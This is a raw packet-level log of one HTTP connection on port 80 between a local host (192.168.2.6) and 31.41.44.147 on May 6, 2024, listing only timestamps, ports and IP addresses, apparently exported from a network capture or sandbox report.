May 6, 2024 02:53:03.670140982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.670156002 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.670201063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.671957016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.672005892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.672116995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.672159910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.672907114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.672954082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.673827887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.673875093 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.674037933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.674051046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.674083948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.674097061 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.674236059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.674280882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.674364090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.674407005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.674638033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.674681902 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.675998926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676058054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.676084042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676126957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.676254988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676295996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676311970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.676348925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.676383972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676397085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676430941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.676786900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.676839113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.683099031 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.683171988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.683173895 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.683218002 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.683582067 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.683634043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.699506998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.699608088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.711731911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.711745977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.711843014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.712193012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.712280989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.712296963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.712356091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.713984966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.714060068 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.714082956 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.714138985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.716944933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.716958046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717024088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.717204094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717216015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717269897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.717340946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717403889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.717766047 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717827082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.717974901 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.717988014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.718036890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.718358040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.718417883 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.718452930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.718540907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.718568087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.718616962 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.718767881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.718832970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.719059944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.719124079 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.719163895 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.719250917 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.719290018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.719367981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.719621897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.719681978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.725939035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.725970984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.726013899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.732070923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.732139111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.753782988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.753890991 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.753895044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.754003048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.754054070 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.754137039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.754219055 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.754278898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.754587889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.754650116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.754976988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.755039930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.756045103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.756119967 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.756144047 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.756251097 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.758835077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.758914948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.758980036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.758991957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.759057045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.759241104 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.759253025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.759319067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.760109901 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.760201931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.760215998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.760277987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.760299921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.760366917 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.761512995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.761581898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.761590004 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.761667013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.761820078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.761832952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.761888981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.762356043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.762418032 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.767539024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.767589092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.767657042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.767695904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.773744106 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.773811102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.795943022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.796001911 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.796184063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.796264887 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.796621084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.796664000 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.796788931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.796828985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.797116041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.797153950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.797262907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.797307014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.802211046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.802253008 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.802323103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.802364111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.803229094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.803268909 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.803276062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.803312063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.803389072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.803432941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.803513050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.803545952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.803554058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.803582907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.804008007 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.804044962 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.804111004 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.804148912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.804291010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.804326057 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.804688931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.804725885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.805094957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.805108070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.805134058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.805147886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.805464029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.805501938 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.805823088 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.805860996 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.807137012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.807174921 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.850920916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.850934029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.851089954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.851149082 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.851161003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.851278067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.851500988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.851540089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.935832024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.935848951 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.935890913 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.935981989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.936003923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.936032057 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.936057091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.936414003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.936510086 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.936563015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.936676979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.983124018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.983139038 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.983195066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.983267069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.983349085 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.983978033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.984031916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.984143972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.984155893 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.984184027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.984200954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.984343052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.984354973 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.984395981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.985533953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.985584974 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.025307894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.025373936 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.025387049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.025424004 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.025494099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.025511980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.025533915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.025551081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.026216984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.026257992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027075052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027117014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027570963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027609110 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027693033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027704954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027715921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027728081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027728081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027748108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027755976 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027766943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027795076 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.027868032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.027908087 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.028260946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.028291941 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.028305054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.028320074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.028332949 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.028351068 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.028738976 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.028775930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.033720016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.033762932 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.067713022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.067727089 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.067776918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.067816973 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.067895889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.067931890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.068072081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.068116903 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.068538904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.068578005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.068882942 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.068919897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.111013889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.111057043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115077972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115112066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115142107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115159035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115281105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115294933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115315914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115330935 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115340948 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115354061 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115365982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115379095 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115379095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115389109 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115392923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115406990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115411997 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115421057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115432024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115434885 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115447998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115459919 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115461111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115473986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115473986 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.115500927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.115525007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.161484003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.161627054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.161879063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.161915064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.161951065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.161978006 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.161990881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.161992073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162017107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162024975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162031889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.162045002 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.162071943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162081957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162090063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.162126064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162151098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.162163019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.162189007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.162200928 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.195530891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.195579052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244095087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244152069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244365931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244379044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244390011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244399071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244402885 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244415045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244415998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244431019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244434118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244443893 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244455099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244462967 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244478941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244502068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244503021 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244534016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244566917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244600058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.244848013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.244879961 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.245832920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.245845079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.245866060 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.245881081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.247030973 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.247065067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.247190952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.247222900 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.284738064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.284800053 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.285964012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.286005020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.286427021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.286464930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.287870884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:04.287909031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:04.288022041 CEST	80	49718	31.41.44.147	192.168.2.6
